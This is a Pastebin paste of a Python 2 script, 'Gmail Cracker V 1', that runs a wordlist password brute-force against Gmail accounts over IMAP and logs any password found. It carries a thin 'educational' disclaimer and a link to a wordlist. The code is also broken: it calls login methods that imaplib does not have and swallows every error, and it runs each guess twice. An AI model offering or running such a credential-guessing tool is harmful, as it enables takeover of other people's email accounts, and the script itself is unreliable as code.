Advertisement
Guest User

GG.PY

a guest
Sep 30th, 2016
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.56 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. # Gmail Cracker V 1 Black Knight Defense
  4. # This program is only for educational purposes only.
  5. # To Make This Cracker Work 100% , you need to install Mechanize Python Module
  6. # Link Download ===> https://pypi.python.org/pypi/mechanize/
  7. # If you need a Good Wordlist ====> http://pastebin.com/ZGGNM8SM or make yours ^_^
  8.  
  9. import sys, imaplib, time
  10. from imaplib import IMAP4
  11.  
  12. log = "GmailGhost.log"
  13. file = open(log, "a")
  14. counter = 0
  15. face = '''
  16. :::Gmail Cracker v 1:::
  17.  
  18.  
  19. +=======================================+
  20. |..........Gmail Cracker v 1...........|
  21. +---------------------------------------+
  22. | Author : Black Knight Defense |
  23. | Use At your Own Risk ^_^ |
  24. | Contact:No Need -_- |
  25. | This tool is made for pentesting. |
  26. | Do not use this tool on any account |
  27. | Without permission of the account |
  28. | holder. |
  29. | We take no responsibilities for the |
  30. | use of this program |
  31. +---------------------------------------+
  32.  
  33.  
  34.  
  35.  
  36. '''
  37.  
  38. help = '''
  39. Usage : ./gmail.py -u [email] -w [wordlist]
  40. Example : ./gmail.py -u victim@gmail.Com -w wordlist.txt
  41. '''
  42.  
  43. for arg in sys.argv:
  44. if arg.lower() == '-u' or arg.lower() == '--user':
  45. email = sys.argv[int(sys.argv.index(arg))+1]
  46. elif arg.lower() == '-w' or arg.lower() == '--wordlist':
  47. wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
  48. elif arg.lower() == '-h' or arg.lower() == '--help':
  49. print face
  50. print help
  51. file.write(face)
  52. file.write(help)
  53.  
  54. #Change these if needed.
  55. HOST = 'imap.gmail.com'
  56. PORT = 993
  57.  
  58. try:
  59. preventstrokes = open(wordlist, "r")
  60. words = preventstrokes.readlines()
  61. count = 0
  62. while count < len(words):
  63. words[count] = words[count].strip()
  64. count += 1
  65. except(IOError):
  66. print "\n[-] Error: Check your wordlist path\n"
  67. file.write("\n[-] Error: Check your wordlist path\n")
  68. sys.exit(1)
  69. def definer():
  70. print "-" * 60
  71. print "[+] Email : %s" % email
  72. print "[+] Wordlist : %s" % wordlist
  73. print "[+] Length wordlist : %s " % len(words)
  74. print "[+] Time Starting : %s" % time.strftime("%X")
  75. print "-" * 60
  76. file.write ("\n[+] Email : %s" % email)
  77. file.write ("\n[+] Wordlist : %s" % wordlist)
  78. file.write ("\n[+] length wordlist : %s " % len(words))
  79. file.write ("\n[+] Time Starting : %s" % time.strftime("%X"))
  80.  
  81. def main(password):
  82. global counter
  83. sys.stdout.write ("[-] Trying : %s \n" % (password))
  84. sys.stdout.flush()
  85. file.write("[-] Trying : %s \n" % (str(password)))
  86. try:
  87. IMAP4 = imaplib.IMAP4_SSL(HOST, PORT)
  88. IMAP4.Email(email)
  89. IMAP4.Passwd(password)
  90. IMAP4.quit()
  91. print "[+] enjoy !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Found!" % (email, password)
  92. file.write("[+] enjoy !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Found!" % (email, password))
  93. sys.exit(1)
  94. except Exception, e:
  95. pass
  96. except KeyboardInterrupt:
  97. print "\n[-] Aborting...\n"
  98. file.write("\n[-] Aborting...\n")
  99. sys.exit(1)
  100. counter+=1
  101. if counter == len(words)/5:
  102. print "[+] Gmailcracker 20% way done..."
  103. print "[+] Please be patient..."
  104. file.write("[+] Gmailcracker on 1/4 way done...\n")
  105. file.write("[+] Please be patient...\n")
  106. elif counter == len(words)/4:
  107. print "[+] Gmailcracker 25% way done..."
  108. print "[+] Please be patient..."
  109. file.write("[+] Gmailcracker on 1/4 way done...\n")
  110. file.write("[+] Please be patient...\n")
  111. elif counter == len(words)/2:
  112. print "[+] Gmailcracker on 50% done..."
  113. print "[+] Please be patient..."
  114. file.write("[+] Gmailcracker on halfway done...\n")
  115. file.write("[+] Please be patient...\n")
  116. elif counter == len(words):
  117. print "[+] Gmailcracker done...\n"
  118. file.write("[+] Gmailcracker done...!\n")
  119.  
  120. if __name__ == '__main__':
  121. print face
  122. file.write(face)
  123. definer()
  124. for password in words:
  125. main(password.replace("\n",""))
  126. main(password)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement